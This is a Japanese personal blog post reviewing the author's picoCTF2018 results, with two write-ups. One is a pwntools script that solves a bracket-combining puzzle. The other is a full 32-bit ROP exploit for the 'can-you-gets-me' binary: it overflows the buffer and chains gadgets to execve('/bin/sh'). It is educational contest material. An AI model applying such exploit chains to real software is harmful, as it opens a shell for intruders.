眠いので寝ます

お勉強のメモを置いていこうと思いまふ

picoCTF2018振り返り+ちょっとwriteup

picoCTF2018に参加しました。中高生向け、初心者向けの問題もあるということで、チームでは参加せず、個人で参加しました。
全然知らないwebとかのジャンルに触れるいい機会ですしね。

結果

f:id:kam1tsur3:20181017193609p:plain

f:id:kam1tsur3:20181017193620p:plain

こんな感じでした。web,cryptoはさっぱりです。revはz3を使う問題で止まってしまいました。z3使ったことないので、これから使いこなせるように努めます。pwnは見事にheap問題で止まりました。1問だけ解けたのですが、復習します。

hintがwriteupみたいな問題も多くあったので、2つだけ気になった問題のwriteupを書きます。

Writeup

script me - Points: 500 - (Solves: 502) General Skills

問題サーバーに繋ぐと以下のような返答が

Rules:
() + () = ()()                                      => [combine]
((())) + () = ((())())                              => [absorb-right]
() + ((())) = (()(()))                              => [absorb-left]
(())(()) + () = (())(()())                          => [combined-absorb-right]
() + (())(()) = (()())(())                          => [combined-absorb-left]
(())(()) + ((())) = ((())(())(()))                  => [absorb-combined-right]
((())) + (())(()) = ((())(())(()))                  => [absorb-combined-left]
() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative]

Example: 
(()) + () = () + (()) = (()())

Let's start with a warmup.
(()()()) + ((())()) = ???

最後の行のような問題が5問出題されます。解いて行くにつれ問題が難しくなり4問目くらいからは目ではとても追えないようになるので、scriptを書きます。

以下はその簡単なscriptです。pwnではないですが、通信は慣れているpwntoolの雛形を使っています。めちゃくちゃ見辛いですが、demention関数では各項の次元?(括弧の中に何個括弧が内包されているか)を計算しています。analysis関数では受け取った式を各項に分割しdemention関数に通し、順番に次元を比べ、その次元によって連結のやり方を変え、文字列を足し合わせています。

from pwn import *
import re

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "2018shell1.picoctf.com"
PORT = 22973

def demention(fsplit):
    max_d = 0
    dm = 0
    for i in range(len(fsplit)):
        if(fsplit[i] == '('):
            dm += 1
            if(max_d < dm):
                max_d = dm
        elif(fsplit[i] == ')'):
            dm -= 1
    return max_d

def analysis(formula):
    fsplit = re.split(' ', formula)
    d_list = []
    f_list = []
    for i in range(0, len(fsplit)-1, 2):
        dm = demention(fsplit[i])
        f_list.append(fsplit[i])
        d_list.append(dm)
    ans = f_list[0]
    for i in range(len(d_list)-1):
        if(d_list[i] == d_list[i+1]):
            ans = ans + f_list[i+1]
        elif(d_list[i] > d_list[i+1]):
            ans = ans[:len(ans)-1]+f_list[i+1] + ')'
            d_list[i+1] = d_list[i]
        elif(d_list[i] < d_list[i+1]):
            ans = '('+ans+f_list[i+1][1:]
    return ans

conn = remote(HOST, PORT)

conn.recvuntil('warmup.\n')

for i in range(5):
    formula = conn.recvline()
    print "FORMULA: " + formula
    conn.recvuntil('> ')
    ans = analysis(formula)
    ans += '\n'
    conn.send(ans)
    conn.recvline()
    conn.recvline()
    conn.recvline()

conn.interactive()

can-you-gets-me - Points: 650 - (Solves: 231) Binary Exploitation

大会のサイトのShellタブからアカウント固有のshellが起動するのですが、その環境だとpwntoolがうまく使えなかったので、ローカルからsshして問題バイナリを起動してみたいな感じで解きました。典型的なrop問題らしいです。asciiアーマーもなくnullバイトを送ってもちゃんと送れるのでユルユルです。rp++を使って問題バイナリのretアドレスになりうるアドレスを調べました。

ただコードが本当に汚い。payloadにnullバイト入れたくないですよね。本当にセンスがない。xor命令のガジェットはいくらでもあるので楽をしてしまいました。解いてたのがコンテスト終盤で早く解きたかったので許してください。

以下は汚いコード。

from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug'

conn = ssh(host='2018shell1.picoctf.com', user='kam1tsur3', password='****')
conn.set_working_directory('/problems/can-you-gets-me_4_******')
pro = conn.process('./gets')

int_0x80 = 0x806cc25
data = 0x80ea060
pop_ebx = 0x80481c9
pop_ecx = 0x80de955
pop_edx = 0x806f02a
pop_eax = 0x80b81c6
mov_edx_eax = 0x80549db

payload = "A"*0x1c
payload += p32(pop_edx)
payload += p32(data)
payload += p32(pop_eax)
payload += "/bin"
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+4)
payload += p32(pop_eax)
payload += "/sh\x00"
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+8)
payload += p32(pop_eax)
payload += p32(data)
payload += p32(mov_edx_eax)
payload += p32(pop_edx)
payload += p32(data+12)
payload += p32(pop_eax)
payload += "\x00\x00\x00\x00"
payload += p32(mov_edx_eax)
payload += p32(pop_ecx)
payload += p32(data+8)
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_edx)
payload += "\x00\x00\x00\x00"
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_0x80)
payload += "\n"

pro.recv(100)
pro.send(payload)

pro.interactive()

まとめ(ポエム)

なぜ上記の問題を選んだかというと、他の方の解法がみたいと思ったからです。自分の書いたコードがすごい汚く冗長性があると感じたのでもし他の方のスマートな解法があれば教えて欲しいです(picoCTFはレベル的にあまりwriteupを書く風潮にない?)。最近情報発信について考えていて、僕の以前のwriteupには解けなかった方のためにwriteupを書きますみたいなことを書いていたのですが、それってどうなのかなと考える節があり、そもそもCTFのwriteupとかって、俺はこうやって解いたけど、おまいらどんな感じで解いたん?ぐらいのものなんじゃないかと思い、そういう議論からこの人すげーなと思ってくれたり自分に興味を持ってくれる人が増え、技術コミュニティが広がって行くのかなと思いました。まあそもそもpicoCTFは中高生向けのCTFで、ハイレベルな議論は生まれるようなものではないし、僕もまだそういうハイレベルな問題は解けないのでクソイキリにすぎませんが。。。精進します。。。